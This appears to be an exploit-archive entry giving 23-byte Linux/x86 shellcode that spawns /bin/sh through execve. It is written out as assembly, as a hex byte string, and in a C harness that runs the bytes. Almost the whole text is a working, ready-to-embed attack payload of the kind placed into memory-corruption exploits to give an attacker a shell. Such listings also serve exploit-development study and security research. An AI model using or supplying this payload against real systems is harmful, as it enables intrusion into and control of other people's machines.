23 bytes small execve /bin/sh shellcode for Linux/x86.
d6b39c58a3c5f85d506995a5d2b4b63f707d3d7f118f009cf9b1909a38419148
***********************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
***********************************************
* Author: Hamza Megahed *
***********************************************
* Twitter: @Hamza_Mega *
***********************************************
* blog: hamza-mega[dot]blogspot[dot]com *
***********************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
***********************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
**********************************************
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}